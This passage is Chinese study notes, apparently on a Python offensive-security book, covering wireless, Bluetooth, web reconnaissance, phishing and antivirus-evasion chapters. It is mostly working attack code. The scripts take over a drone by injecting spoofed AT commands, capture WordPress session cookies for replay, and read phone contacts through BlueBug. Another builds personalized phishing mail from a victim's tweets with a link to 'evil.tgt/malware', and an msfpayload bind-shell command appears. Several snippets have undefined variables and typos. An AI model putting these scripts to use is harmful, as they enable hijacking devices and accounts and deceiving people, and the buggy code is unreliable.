287 | n_pkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded)
288 | return n_pkt
289 |
290 | def dup_dot11(pkt):
291 | subtype = d_pkt.subtype
292 | copy_type = d_pkt.type
293 | proto = d_pkt.proto
294 | fc_field = d_pkt.FCfield
295 | copy_id = d_pkt.ID
296 | addr1 = d_pkt.addr1
297 | addr2 = d_pkt.addr2
298 | addr3 = d_pkt.addr3
299 | sc = d_pkt.SC
300 | addr4 = d_pkt.addr4
301 | n_pkt = Dot11(subtype=subtype, type=copy_type, proto=proto, fc_field=...)
302 | return n_pkt
303 |
304 | def dup_snap(pkt):
305 | s_pkt = pkt.getlayer(SNAP)
306 | oui = s_pkt.OUI
307 | code = s_pkt.code
308 | n_pkt = SNAP(OUI=oui, code=code)
309 | return n_pkt
310 |
311 | def dup_llc(pkt):
312 | l_pkt = pkt.getlayer(LLC)
313 | dsap = l_pkt.dsap
314 | ssap = l_pkt.ssap
315 | ctrl = l_pkt.ctrl
316 | n_pkt = LLC(dsap=dsap, ssap=ssap, ctrl=ctrl)
317 | return n_pkt
318 |
319 | def dup_ip(pkt):
320 | i_pkt = pkt.getlayer(IP)
321 | version = i_pkt.version
322 | tos = i_pkt.tos
323 | copy_id = i_pkt.id
324 | flags = i_pkt.flags
325 | ttl = i_pkt.ttl
326 | proto = i_pkt.proto
327 | src = i_pkt.src
328 | dst = i_pkt.dst
329 | options = i_pkt.options
330 | n_pkt = IP(version=version, id=copy_id, ...)
331 | return n_pkt
332 |
333 | def dup_udp(pkt):
334 | u_pkt = pkt.getlayer(UDP)
335 | sport = u_pkt.sport
336 | dport = d_pkt.dport
337 | n_pkt = UDP(sport=sport, dport=dport)
338 | return n_pkt
339 | ```
340 |
341 | 接下来拼凑在一起:
342 |
343 | ```python
344 | def inject_cmd(self, cmd):
345 | radio = dup.dup_radio(self.cur_pkt)
346 | dot11 = dup.dup_dot11(self.cur_pkt)
347 | snap = dup.dup_snap(self.cur_pkt)
348 | llc = dup.dup_llc(self.cur_pkt)
349 | ip = dup.dup_ip(self.cur_pkt)
350 | udp = dup.dup_udp(self.cur_pkt)
351 | raw = Raw(load=cmd)
352 | inject_pkt = radio / dot11 / llc / snap / ip / udp / raw
353 | sendp(inject_pkt)
354 | ```
355 |
356 | 紧急迫降的指定对控制无人机来说是一条非常重要的指令。这个指令可以迫使无人机关闭引擎,并立即迫降下来。为了发出这条指令,可以使用序列号是当前的序列号再加上 100。接下来要发出指令 `AT*COMWDG=$SEQ\r`。这条指令的作用是把通信中的计数器重置成我们新设置的顺序值。之后无人机将会忽略之前的或者顺序号不匹配的指令。最后,再发送紧急迫降指令
357 |
358 | ### 完成攻击,使无人机紧急迫降
359 |
360 | ```python
361 | def emergency_land(self):
362 | spoof_seq = self.seq + 100
363 | watch = "AT*COMWDG={}\r".format(spoof_seq)
364 | to_cmd = "AT*REF={},{}\r".format(spoof_seq + 1, EMER)
365 | self.inject_cmd(watch)
366 | self.inject_cmd(to_cmd)
367 |
368 | def take_off(self):
369 | spoof_seq = self.seq + 100
370 | watch = "AT*COMWDG={}\r".format(spoof_seq)
371 | to_cmd = "AT*REF={},{}\r".format(spoof_seq + 1, TAKEOFF)
372 | self.inject_cmd(watch)
373 | self.inject_cmd(to_cmd)
374 | ```
375 |
376 | ## 探测火绵羊
377 |
378 | 一款叫火绵羊(FireSheep)的工具,提供了一个简单的双击界面,可以远程接管 Facebook、Twitter、谷歌和其他大量社交媒介中毫无戒心的用户帐户。火绵羊工具会被动地监听无线网卡上由这些 Web 站点提供的 cookie。如果用户连接了不安全的无线网络,也没有使用诸如 HTTPS 之类的服务端控制措施来保护它的会话,火绵羊就会截获这些 cookie 供攻击者再次使用它们。
379 |
380 | 如果想截取特定会话中的 cookie,供重放的话,也有一个易用的接口方便编写定制的处理代码。下面这段处理代码是针对 Wordpress 的 Cookie 的
381 |
382 | ```javascript
383 | register({
384 | name: "Wordpress",
385 | matchPacket: function(packet) {
386 | for (varcookieName in packet.coookies) {
387 | if (cookieName.match0) {
388 | return true;
389 | }
390 | }
391 | },
392 |
393 | processPacket: function () {
394 | this.siteUrl += "wp-admin/"
395 | for (varcookieName in this.firstPacket.cookies) {
396 | if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) {
397 | this.sessionId = this.firstPacket.cookies[cookieName];
398 | break;
399 | }
400 | }
401 | },
402 |
403 | identifyUser: function () {
404 | var resp = this.httpGet(this.siteUrl);
405 | this.userName = resp.body.querySelectorAll("#user_info a")[0].textContent;
406 | this.siteName = "Wordpress (" + this.firstPacket.host + ")";
407 | }
408 | });
409 | ```
410 |
411 | ### 理解 WordPress 的会话 cookies
412 |
413 | 攻击者在火狐 3.6.24 上运行 Firesheep 工具包,可以发现一些类似的字符串通过无线网络以不加密的方式被发送出来。
414 |
415 | ### 牧羊人——找出 Wordpress Cookie 重放攻击
416 |
417 | 编写一个 Python 脚本解析含有这些会话 cookie 的 Wordpress HTTP 会话。
418 |
419 | ```python
420 | import re
421 | from scapy.all import *
422 | def fire_catcher(pkt):
423 | raw = pkt.sprintf("%Raw.load%")
424 | r = re.findall("wordpress_[0-9a-fA-F]{32}", raw)
425 | if r and "Set" not in raw:
426 | print("{}>{} Cookie: {}".format(pkt.getlayer(IP).src, pkt.getlayer(IP).dst, r[0]))
427 | conf.iface = "mon0"
428 | sniff(filter="tcp port 80", prn=fire_catcher)
429 | ```
430 |
431 | 为了找出使用火绵羊的黑客,要确认的是攻击者在不同的 IP 地址上重复使用这些 cookie 值。为了检测出这一情况,要修改之前的脚本。
432 |
433 | ```python
434 | import re
435 | import optparse
436 | from scapy.all import *
437 | cookie_table = {}
438 | def fire_catcher(pkt):
439 | raw = pkt.sprintf("%Raw.load%")
440 | r = re.findall("wordpress_[0-9a-fA-F]{32}", raw)
441 | if r and "Set" not in raw:
442 | if r[0] not in cookie_table.keys():
443 | cookie_table[r[0]] = pkt.getlayer(IP).src
444 | print("[+] Detected and indexed cookie.")
445 | elif cookie_table[r[0]] != pkt.getlayer(IP).src:
446 | print("[*] Detected Conflict for {}".format(r[0]))
447 | print("Victim = {}".format(cookie_table[r[0]]))
448 | print("Attacker = {}".format(pkt.getlayer(IP).src))
449 |
450 | def main():
451 | parser = optparse.OptionParser("usage %prog -i")
452 | parser.add_option("-i", dest="interface", type="string", help="specify interface to listen on")
453 | options, args = parser.parse_args()
454 | if options.interface == None:
455 | print(parser.usage)
456 | exit(-1)
457 | else:
458 | conf.iface = options.interface
459 | try:
460 | sniff(filter="tcp port 80", prn=fire_catcher)
461 | except KeyboardInterrupt:
462 | exit(0)
463 | ```
464 |
465 | ### 用 Python 搜寻蓝牙
466 |
467 | 为了能与蓝牙资源进行交互操作,需要 PyBluez 这个 Python 模块。该模块扩展了用于使用蓝牙资源的 Bluez 库的功能。注意,当调用 `discover_devices()` 之后就会把附近所有当前处于“可被发现”状态下的蓝牙设备的 MAC 地址放在一个列表中返回来。`lookup_name()` 可以将各个蓝牙设备的 MAC 地址转换成方便阅读的字符串。
468 |
469 | ```python
470 | from bluetooth import *
471 | dev_list = discover_devices()
472 | for device in dev_list:
473 | name = str(lookup_name(device))
474 | print("[+] Found Bluetooth Device {}".format(str(name)))
475 | print("[+] MAC address: {}".format(str(device)))
476 | ```
477 |
478 | 创建一个无限循环来检测:
479 |
480 | ```python
481 | import time
482 | from bluetooth import *
483 | already_found = list()
484 | def find_devs():
485 | found_devs = discover_devices(lookup_names=True)
486 | for addr, name in found_devs:
487 | if addr not in already_found:
488 | print("[*] Found Bluetooth Device: {}".format(name))
489 | print("[+] MAC address: {}".format(addr))
490 | already_found.append(addr)
491 |
492 | while True:
493 | find_devs()
494 | time.sleep(5)
495 | ```
496 |
497 | ### 截取无限流量,查找(隐藏的)蓝牙设备地址
498 |
499 | 在 iPhone 里,把无线网卡的 MAC 地址加 1,就得到了这台 iPhone 的蓝牙 MAC。由于 802.11 无线协议在第 2 层中没有使用能够保护 MAC 地址的措施,所以可以很方便地嗅探到它,然后使用该信息来计算蓝牙的 MAC 地址。
500 |
501 | 来设置一个嗅探无线网卡的 MAC 地址。注意,只要 MAC 地址的前三个十六进制数 MAC 地址的前三个八位字节的 MAC 地址。前三个十六进制数是一个 OUI(Organizational Unique Identifier,组织唯一标识符),它表示的是设备制造商,你可以查询 OUI 数据库获取进一步的信息。
502 |
503 | ```python
504 | from scapy.all import *
505 | def wifi_print(pkt):
506 | iPhone_OUI = "d0:23:db"
507 | if pkt.haslayer(Dot11):
508 | wifi_mac = pkt.getlayer(Dot11).addr2
509 | if iPhone_OUI == wifi_mac[:8]:
510 | print("[*] Detected iPhone MAC: {}".format(wifi_mac))
511 | conf.iface = "mon0"
512 | sniff(prn=wifi_print)
513 | ```
514 |
515 | 有了 MAC 地址后,攻击者就可以发起一个设备名称查询来确认这个设备是否真的存在。即便是在“不可被发现”模式下,蓝牙设备仍会响应设备名称的查询请求。
516 |
517 | ```python
518 | def check_bluetooth(bt_addr):
519 | bt_name = lookup_name(bt_addr)
520 | if bt_name:
521 | print("[+] Detected Bluetooth Device: {}".format(bt_name))
522 | else:
523 | print("[-] Failed to Detect Bluetooth Device.")
524 | ```
525 |
526 | ### 扫描蓝牙 RFCOMM 信道
527 |
528 | 2004 年的 CeBIT 峰会上,H 和 L 演示了一个他们称为 BlueBug 的蓝牙漏洞(Herfurt,2004)。该漏洞针对的是蓝牙的 RFCOMM 传输协议。RFCOMM 通过蓝牙 L2CAP 协议模拟了 RS232 串行端口。从本质上讲,这会与另一台设备建立一个蓝牙连接,模拟一条普通的串行线缆,使用户能够(在另一台设备上)通过蓝牙打电话、发送短信、读取手机电话簿中的记录,以及转接电话或上网
529 |
530 | 虽然 RFCOMM 确实也能建立需要认证的加密连接,但厂商有时会忽略掉这一功能,允许(其他)未经认证的用户与设备建立连接。
531 |
532 | 下面将编写一个扫描器,找出允许未经认证建立 RFCOMM 通道的设备
533 |
534 | ```python
535 | from bluetooth import *
536 | def rf_comm_con(addr, port):
537 | sock = BluetoothSocket(RFCOMM)
538 | try:
539 | sock.connect((addr, port))
540 | print("[+] RFCOMM Port {} open".format(port))
541 | sock.close()
542 | except Exception as e:
543 | print("[-] RFCOMM Port {} closed".format(port))
544 | for port in range(1, 30):
545 | rf_comm_con("00:16:38:DE:AD:11", port)
546 | ```
547 |
548 | 通过这个脚本可以扫描出开放的 RFCOMM 端口,但不能判断这些端口提供的都是什么服务。需要使用蓝牙服务发现协议(Bluetooth Service Discovery Protocol)来实现
549 |
550 | ### 使用蓝牙服务发现协议
551 |
552 | 蓝牙服务发现协议(Service Discovery Protocol,SDP)提供了一种简便方法,用于描述和枚举蓝牙配置文件的类型以及设备提供的服务。设备的 SDP 配置文件中描述了运行在各个蓝牙协议和端口上的服务。
553 |
554 | ```python
555 | from bluetooth import *
556 | def sdp_browse(addr):
557 | services = find_service(address=addr)
558 | for service in services:
559 | name = service["name"]
560 | proto = service["protocol"]
561 | port = str(service["port"])
562 | print("[+] Found {} on {}:{}".format(name, proto, port))
563 | sdp_browse("00:16:38:DE:AD:11")
564 | ```
565 |
566 | 调用函数 `find_service()` 之后返回 record 数组,目标蓝牙设备上的每个服务都对应数组中的一个 record,每个 record 中记录了主机、名称、描述、提供者(provider)、协议、端口、服务类、配置文件和服务 ID。
567 |
568 | 对象交换(Object Exchange,OBEX)服务允许我们能像使用匿名 FTP 那样匿名地向一个系统中上传(push)和下载(pull)文件
569 |
570 | ### 用 Python ObexFTP 控制打印机
571 |
572 | 用 ObexFTP 连接到打印机并上传一个图像文件
573 |
574 | ```python
575 | import obexftp
576 | try:
577 | bt_printer = obexftp.client(obexftp.BLUETOOTH)
578 | bt_printer.connect("00:16:38:DE:AD:11", 2)
579 | bt_printer.put_file("/tmp/ninja.jpg")
580 | print("[+] Printed Ninja Image.")
581 | except:
582 | print("[-] Failed to print Ninja Image.")
583 | ```
584 |
585 | ### 用 Python 利用手机中的 BlueBug 漏洞
586 |
587 | BlueBug 会与手机建立一个不需要经过认证的不安全连接,并通过这一连接窃取手机中的信息或直接向手机发送命令。这种攻击通过 RFCOMM 信道发送 AT 命令的方式,远程控制设备。这使得攻击者能读/发短信息、收集个人信息,或强制拨打电话号码。
588 |
589 | ```python
590 | import bluetooth
591 | target_phone = "AA:BB:CC:DD:EE:FF"
592 | port = 17
593 | phone_sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
594 | phone_sock.connect((target_phone, port))
595 | for contact in range(1, 5):
596 | at_cmd = "AT+CPBR={}\n".format(contact)
597 | phone_sock.send(at_cmd)
598 | result = client_sock.recv(1024)
599 | print("[+] {}: {}".format(contact, result))
600 | sock.close()
601 | ```
602 |
603 |
--------------------------------------------------------------------------------
/第6章用Python刺探网络.md:
--------------------------------------------------------------------------------
1 | # 第 6 章 用 Python 刺探网络
2 |
3 | ## 使用 Mechanize 库上网
4 |
5 | Mechanize 中的主要类(Browser)允许我们对浏览器中的任何内容进行操作。
6 |
7 | ```python
8 | import mechanize
9 | def view_page(url):
10 | browser = mechanize.Browser()
11 | page = browser.open(url)
12 | source_code = page.read()
13 | print(source_code)
14 | view_page("http://www.syngress.com/")
15 | ```
16 |
17 | Mechanize 提供了状态化编程(stateful programming)和方便的 HTML 表单填写,便于解析和处理诸如 “HTTP-Equiv” 和刷新之类的命令。此外,它还自带了不少能让你保持匿名状态的函数。
18 |
19 | ### 匿名性——使用代理服务器、User-Agent 及 Cookie
20 |
21 | 网站有多种方法能够唯一标识网页的访问者。Web 服务器记录发起网页请求的 IP 是标识用户的第一种方式。Python 也可以连接代理服务器,这能给程序增加匿名性。Mechanize 的 Browser 类中有一个属性,即程序能用它指定一个代理服务器。MyCurdy 在 [http://rmccurdy.com/scripts/proxy/good.txt](http://rmccurdy.com/scripts/proxy/good.txt) 中维护着一个可用代理的列表。
22 |
23 | ```python
24 | import mechanize
25 | def test_proxy(url, proxy):
26 | browser = mechanize.Browser()
27 | browser.set_proxies(proxy)
28 | page = browser.open(url)
29 | source_code = page.read()
30 | print(source_code)
31 | url = "http://ip.nefsc.noaa.gov/"
32 | hide_me_proxy = {"http": "216.155.139.115:3128"}
33 | test_proxy(url, hide_me_proxy)
34 | ```
35 |
36 | 浏览器现在有一层匿名性了,但网站还会使用浏览器提供的 `user-agent` 字符串作为唯一标识用户的另一种方法。在正常情况下,`user-agent` 字符串可以让网站获知用户使用的是哪种浏览器这一重要信息,同时这个字段还记录了内核版本、浏览器版本,以及其他一些关于用户的详细信息。恶意网站利用这些信息根据不同的浏览器版本发送不同的漏洞利用代码,而其他一些网站则利用这些信息区分那些躲在 NAT 后面的局域网里的永不。
37 |
38 | Mechanize 能像添加代理那样,轻松修改 `user-agent`,[网站](http://www.useragentstring.com/pages/useragentstring.php) 提供了大量有效的 `user-agent` 字符串。
39 |
40 | ```python
41 | import mechanize
42 | def test_user_agent(url, user_agent):
43 | browser = mechanize.Browser()
44 | browser.addheaders = user_agent
45 | page = browser.open(url)
46 | source_code = page.read()
47 | print(source_code)
48 | url = "http://whatismyuseragent.dotdoh.com/"
49 | user_agent = [("User-agent", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) ...")]
50 | test_user_agent(url,user_agnet)
51 | ```
52 |
53 | 网站还会给 Web 浏览器发送 cookie,cookie 中记录了一些能唯一标识用户的信息,网站用它来验证用户之前是否访问/登录过该网站。为了防止这种情况发生,在执行匿名操作之前一定要清除浏览器中的 cookie。有一个库名为 cookielib,其中含有几个不同的能用来处理 cookie 的容器。这里使用的是一个能把各个不同的 cookie 保存到磁盘中的容器。该功能允许用户在收到 cookie 之后,不必把它返回给网站,并能查看其中的内容
54 |
55 | ```python
56 | import mechanize
57 | import cookielib
58 | def print_cookies(url):
59 | browser = mechanize.Browser()
60 | cookie_jar = cookielib.LWPCookieJar()
61 | browser.set_cookiejar(cookie_jar)
62 | page = browser.open(url)
63 | for cookie in cookie_jar:
64 | print(cookie)
65 | url = "http://www.syngress.com/"
66 | print_cookies(url)
67 | ```
68 |
69 | ### 把代码集成在 Python 类的 AnonBrowser 中
70 |
71 | ```python
72 | import mechanize, cookielib, random
73 | class AnonBrowser(mechanize.Browser):
74 | def __init__(self, proxies=[], user_agents=[]):
75 | mechanize.Browser.__init__(self)
76 | self.set_handle_robots(False)
77 | self.proxies = proxies
78 | self.user_agents = user_agents + ["Mozilla/4.0 FireFox/6.01", "ExactSearch", ...]
79 | self.cookie_jar = cookielib.LWPCookieJar()
80 | self.set_cookiejar(self.cookie_jar)
81 | self.anonymize()
82 |
83 | def clear_cookies(self):
84 | self.cookie_jar = cookielib.LWPCookieJar()
85 | self.set_cookiejar(self.cookie_jar)
86 |
87 | def change_user_agent(self):
88 | index = random.randrange(0, len(self.user_agents))
89 | self.addheaders = [("User-agent", (self.user_agents[index]))]
90 |
91 | def change_proxy(self):
92 | if self.proxies:
93 | index = random.randrange(0, len(self.proxies))
94 | self.set_proxies({"http": self.proxies[index]})
95 |
96 | def anonymize(self, sleep=False):
97 | self.clear_cookies()
98 | self.change_user_agent()
99 | self.change_proxy()
100 | if sleep:
101 | time.sleep(60)
102 | ```
103 |
104 | anoymize 函数还有一个能让进程休眠 60s 的参数,这会增加使用了匿名化方法前后两次请求在服务器日志中出现的时间间隔
105 |
106 | ## 用 AnonBrowser 抓取更多的 Web 页面
107 |
108 | ## 用 Beautiful Soup 解析 href 链接
109 |
110 | 若要把目标网页上的链接全都分析出来,有两种选择:一种是使用正则表达式对 HTML 代码做搜索和替换操作,另一种是使用一款名为 BeautifulSoup 的强大的第三方库。
111 |
112 | ```python
113 | from AnonBrowser import *
114 | from BeautifulSoup import BeautifulSoup
115 | import os
116 | import optparser
117 | import re
118 | def print_links(url):
119 | ab = AnonBrowser()
120 | ab.anonymize()
121 | page = ab.open(url)
122 | html = page.read()
123 | try:
124 | print("[+] Printing Links From Regex.")
125 | link_finder = re.compile('href="(.*?)"')
126 | links = link_finder.findall(html)
127 | for link in links:
128 | print(link)
129 | except:
130 | pass
131 | try:
132 | print("[+] Printing Links From BeautifulSoup.")
133 | soup = BeautifulSoup(html)
134 | links = soup.findAll(name='a')
135 | for link in links:
136 | if link.has_key('href'):
137 | print(link["href"])
138 | except:
139 | pass
140 | ```
141 |
142 | ### 用 BeautifulSoup 映射图像
143 |
144 | BeautifulSoup 允许我们能在任何 HTML 对象中找出所有的 “IMG” 标签,然后 browser 对象就能下载图片,并将其以二进制文件的形式保存到本地硬盘中。
145 |
146 | ## 研究、调查、发现
147 |
148 | ### 用 Python 与谷歌 API 交互
149 |
150 | 谷歌提供了一个应用程序编程接口(API),它让程序员能执行查询操作,获取结果,而不必使用和精通“正常”的谷歌页面。目前谷歌有两个 API,一个简化版的和一个完整版的,使用完整版的 API 需要拥有开发者密钥。简化版的 API 每天仍能进行相当数量的查询,每次搜索能得到约 30 个结果。
151 |
152 | ```python
153 | import urllib
154 | from AnonBrowser import *
155 | def google(search_term):
156 | ab = AnonBrowser()
157 | search_term = urllib.quote_plus(search_term)
158 | response = ab.open("http://ajax.googleapis.com/ajax/services/searchweb?v=1.0&q={}".format(search_term))
159 | print(response.read())
160 | google("Boondock Saint")
161 | ```
162 |
163 | 响应的数据是 JSON 格式的
164 |
165 | ```python
166 | import json
167 | json.load(response)
168 | ```
169 |
170 | 来编写一个不带任何额外方法的类保存数据,这将使访问各个字段变得更加容易,而不必专门为获取信息而特意去临时解析三层词典。
171 |
172 | ```python
173 | import json
174 | import urllib
175 | import optparse
176 | from AnonBrowser import *
177 | class GoogleResult:
178 | def __init__(self, title, text, url):
179 | self.title = title
180 | self.text = text
181 | self.url = url
182 | def __repr__(self):
183 | return self.title
184 |
185 | def google(search_term):
186 | ab = AnonBrowser()
187 | search_term = urllib.quote_plus(search_term)
188 | response = ab.open("...")
189 | objects = json.load(response)
190 | results = list()
191 | for result in objects["responseData"]["results"]:
192 | url = result["url"]
193 | title = result["titleNoFormatting"]
194 | text = result["content"]
195 | new_gr = GoogleResult(title, text, url)
196 | results.append(new_gr)
197 | return results
198 | ```
199 |
200 | ### 用 Python 解析 Tweets 个人主页
201 |
202 | 和谷歌一样,Twitter 也给开发者提供了 API。相关文档位于[网址](https://dev.twitter.com/docs)
203 |
204 | ```python
205 | import json, urllib
206 | from AnonBrowser import *
207 | class ReconPerson:
208 | def __init__(self, first_name, last_name, job='', social_media={}):
209 | self.first_name = first_name
210 | self.last_name = last_name
211 | self.job = job
212 | self.social_media = social_media
213 |
214 | def __repr__(self):
215 | return "{} {} has job {}".format(self.first_name, self.last_name, self.job)
216 |
217 | def get_social(self, media_name):
218 | if self.social_media.has_key(media_name):
219 | return self.social_media[media_name]
220 | return None
221 |
222 | def query_twitter(self, query):
223 | query = urllib.quote_plus(query)
224 | results = list()
225 | browser = AnonBrowser()
226 | response = browser.open("http://search.twitter.com/search.json?q={}".format(query))
227 | json_objects = json.load(response)
228 | for result in json_objects["results"]:
229 | new_result = dict()
230 | new_result["name"] = result["name"]
231 | new_result["geo"] = result["geo"]
232 | new_result["tweet"] = result["text"]
233 | results.append(new_result)
234 | return results
235 | ap = ReconPerson("Boondock", "Saint")
236 | print(ap.query_twitter("from:username since:2010-01-01 include:retweets"))
237 | ```
238 |
239 | ### 从推文中提取地理位置信息
240 |
241 | 许多 Twitter 用户遵循一个公式来撰写他们的推文与世界分享。通常情况下,这个公式为:【该推文是直接推给哪些推特用户的】+【推文的正文,其中常会含有简短的 URL】+【hash 标签】。使用恶意的分割法时,这个公式应该写成:【关注该用户的人,他们信任来自该用户的通信的概率会比较大】+【这个人感兴趣的链接或主题,他可能会对该话题中的其他内容感兴趣】+【这个人可能想要进一步了解的大致方向或主题】。
242 |
243 | ```python
244 | import json
245 | import urllib
246 | import optparse
247 | from AnonBrowser import *
248 | def get_tweets(handle):
249 | query = urllib.quote_plus("from:{} since:2009-01-01 include:retweets".format(handle))
250 | tweets = list()
251 | browser = AnonBrowser()
252 | browser.anonymize()
253 | response = browser.open("http://search.twitter.com/search.json?q={}".format(query))
254 | json_objects = json.load(response)
255 | for result in json_objects["results"]:
256 | new_result = {}
257 | new_result["from_user"] = result["from_user_name"]
258 | new_result["geo"] = result["geo"]
259 | new_result["tweet"] = result["text"]
260 | tweets.append(new_result)
261 | return tweets
262 |
263 | def load_cities(city_file):
264 | cities = list()
265 | for line in open(city_file).readlines():
266 | city = line.split("\r\n").lower()
267 | cities.append(city)
268 | return cities
269 |
270 | def twitter_locate(tweets, cities):
271 | locations = list()
272 | loc_cnt = 0
273 | city_cnt = 0
274 | tweets_text = str()
275 | for tweet in tweets:
276 | if tweet["geo"] != None:
277 | locations.append(tweet["geo"])
278 | loc_cnt += 1
279 | tweets_text += tweet["tweet"].lower()
280 | for city in cities:
281 | if city in tweets_text:
282 | locations.append(city)
283 | city_cnt += 1
284 | print("[+] Found {} locations via Twitter API and {} locations from text search.".format(loc_cnt, city_cnt))
285 | ```
286 |
287 | ### 用正则表达式解析 Twitter 用户的兴趣爱好
288 |
289 | ```python
290 | def find_interests(tweets):
291 | interests = dict()
292 | interests["links"] = list()
293 | interests["users"] = list()
294 | interests["hashtags"] = list()
295 | for tweet in tweets:
296 | text = tweet["tweet"]
297 | links = re.compile('(http.*?)\Z|(http.*?) ').findall(text)
298 | for link in links:
299 | if link[0]:
300 | link = link[0]
301 | elif link[1]:
302 | link = link[1]
303 | else:
304 | continue
305 | try:
306 | response = urllib2.urlopen(link)
307 | full_link = response.url
308 | interests["links"].append(full_link)
309 | except:
310 | pass
311 | interests["users"] += re.compile("(@\w+)").findall(text)
312 | interests["hashtags"] += re.compile("(#\w+)").findall(text)
313 | interests["users"].sort()
314 | interests["hashtags"].sort()
315 | interests["links"].sort()
316 | return interests
317 | ```
318 |
319 | 由于推文的字数限制,大多数 URL 会使用各个服务商提供的短网址。这些链接里没什么信息量,因为他们可以指向任何地址。为了把短网址转成正常的 URL,可以用 urllib2 打开它们,在脚本打开页面后,urllib 可以获取到完整的 URL
320 |
321 | ```python
322 | def find_interests(self):
323 | interests = dict()
324 | interests["links"] = list()
325 | interests["users"] = list()
326 | interests["hashtags"] = list()
327 | for tweet in self.tweets:
328 | text = tweet["tweet"]
329 | links = re.compile("(http.*?)\Z|(http.*?) ").findall(text)
330 | for link in links:
331 | if link[0]:
332 | link = link[0]
333 | elif link[1]:
334 | link = link[1]
335 | else:
336 | continue
337 | try:
338 | response = urllib2.urlopen(link)
339 | full_link = response.url
340 | interests["links"].append(full_link)
341 | except:
342 | pass
343 | interests["users"] += re.compile("(@\w+)").findall(text)
344 | interests["hashtags"] += re.compile("(#\w+)").findall(text)
345 | interests["users"].sort()
346 | interests["hashtags"].sort()
347 | interests["links"].sort()
348 | return interests
349 | ```
350 |
351 | ## 匿名电子邮件
352 |
353 | 相对于获取一个永久性电子邮箱,使用一次性电子邮箱也是另一个很好的选项。Ten Minute Mail 提供的就是这样一种一次性电子邮箱。攻击者可以使用这种很难被追踪的电子邮件账户去创建社交网站账号。
354 |
355 | ## 批量社工
356 |
357 | ### 使用 smtplib 给目标对象发邮件
358 |
359 | 正常发送邮件的过程包括打开邮件客户端,单击相应的选项,然后单击新建,最后单击发送。在电脑屏幕后,邮件客户端程序会连接到服务器,有时还需要登录,并提交详细的信息——发件人、收件人和其他必要的数据。
360 |
361 | ```python
362 | import smtplib
363 | from email.mime.text import MIMEText
364 | def send_mail(user, pwd, to, subject, text):
365 | msg = MIMEText(text)
366 | msg["From"] = user
367 | msg["To"] = to
368 | msg["Subject"] = subject
369 | try:
370 | smtp_server = smptlib.SMTP("smtp.gmail.com", 587)
371 | print("[+] Connecting To Mail Server.")
372 | smtp_server.ehlo()
373 | print("[+] Starting Encrypted Session.")
374 | smtp_server.starttls()
375 | smtp_server.ehlo()
376 | print("[+] Logging Into Mail Server.")
377 | smtp_server.login(user, pwd)
378 | print("[+] Seding Mail.")
379 | smtp_server.sendmail(user, to, msg.as_string())
380 | smtp_server.close()
381 | print("[+] Mail Sent Successfully.")
382 | except:
383 | print("[-] Seding Mail Failed.")
384 |
385 | user = "username"
386 | pwd = "password"
387 | send_mail(user, pwd, "target@target.target", "Re: Important", "Test Message")
388 | ```
389 |
390 | 不过许多电子邮件服务器是不允许转发邮件的,所以只能将邮件传递到指定的地址。本地电子邮件服务器可以被设为允许转发邮件,或允许转发来自网上的邮件,这是它会把来自任意地址的电子邮件转发的任意地址中——即使邮件地址的格式都不对也没关系。伪造发信地址是关键,使用邮件客户端脚本,再加上一个允许转发邮件的服务器。
391 |
392 | ### 用 smtplib 进行网络钓鱼
393 |
394 | 为了降低被识破的概率,只生成一段非常简单的含有恶意代码的文本,把它作为邮件的正文。程序会根据它所拥有的数据,随机生成文本。具体步骤是:选择一个虚拟的发信人电子邮箱地址,指定一个主题,生成正文文本,然后发送电子邮件。
395 |
396 | 脚本利用目标对象留在 Twitter 中可以公开访问的信息对他进行攻击。根据它会找到关于目标对象的地理位置信息、@过的用户、hash 标签以及链接,脚本就会生成和发送一个带有恶意链接的电子邮件,等待目标对象去点击。
397 |
398 | ```python
399 | import smtplib
400 | import optparse
401 | from email.mime.text import MIMEText
402 | from twitterCLass import *
403 | from random import choice
404 | def send_main():
405 | pass
406 |
407 | def main():
408 | parser = optparse.OptionParser("usage%prog -u -t -l -p ")
409 | parser.add_option("-u", dest="handle", type="string", help="specify twitter handle")
410 | parser.add_option("-t", dest="tgt", type="string", help="specify target email")
411 | parser.add_option("-l", dest="user", type="string", help="specify gmail login")
412 | parser.add_option("-p", dest="pwd", type="string", help="speicfy gmail password")
413 | options, args = parser.parse_args()
414 | handle = options.handle
415 | tgt = options.tgt
416 | user = options.user
417 | pwd = options.pwd
418 | if handle == None or tgt == None or user == None or pwd == None:
419 | print(parser.usage)
420 | exit(-1)
421 | print("[+] Fetching tweets from: {}".format(handle))
422 | spam_tgt = ReconPerson(handle)
423 | spam_tgt.get_tweets()
424 | print("[+] Fetching interests from: {}".format(handle))
425 | interests = spam_tgt.find_interests()
426 | print("[+] Fetching location information from: {}".format(handle))
427 | location = spam_tgt.twitter_locate("mlb-cities.txt")
428 | spam_msg = "Dear {},".format(tgt)
429 | if location != None:
430 | rand_loc = choice(location)
431 | spam_msg += " Its me from {}.".format(rand_loc)
432 | if interests["users"] != None:
433 | rand_user = choice(interests["users"])
434 | spam_msg += " {} said to say hello.".format(rand_user)
435 | if interests["hashtags"] != None:
436 | rand_hash = choice(interests["hashtags"])
437 | spam_msg += " Did you see all the fuss about {}?".format(randHash)
438 | if interests["links"] != None:
439 | rand_link = choice(interests["links"])
440 | spam_msg += " I really liked your link to: {}.".format(rand_link)
441 | spam_msg += " Check out my link to http://evil.tgt/malware"
442 | print("[+] Sending Msg: {}".format(spam_msg))
443 | send_main(user, pwd, tgt, "Re: Important", spam_msg)
444 | ```
445 |
446 |
--------------------------------------------------------------------------------
/第7章用Python实现免杀.md:
--------------------------------------------------------------------------------
1 | # 第 7 章 用 Python 实现免杀
2 |
3 | 被命名为“火焰”(Flame)的恶意软件,在用被称为 Beetlejuice、Microbe、Frog、Snack 和 Gator 的 Lua 脚本编译后,该恶意软件可以通过蓝牙标识出被其侵入的计算机、秘密录音,入侵附近的计算机并往远程命令和控制服务器上传屏幕截图和数据。大多数杀毒引擎仍在使用基于特征码的检测作为主要的检测手段。
4 |
5 | ## 免杀的过程
6 |
7 | 在 Metasploit 框架中包含有一个恶意代码库。使用 Metasploit 生成 C 语言风格的一些 shellcode 作为恶意载荷。
8 |
9 | ```shell
10 | # msfpayload windows/shell_bind_tcp LPORT=1337 C
11 | ```
12 |
13 | 要写一段用来执行这段 C 语言风格的 shellcode 脚本。Python 支持导入其他语言的函数库,导入 ctypes 库——这个库使我们能用 C 语言中的数据类型。
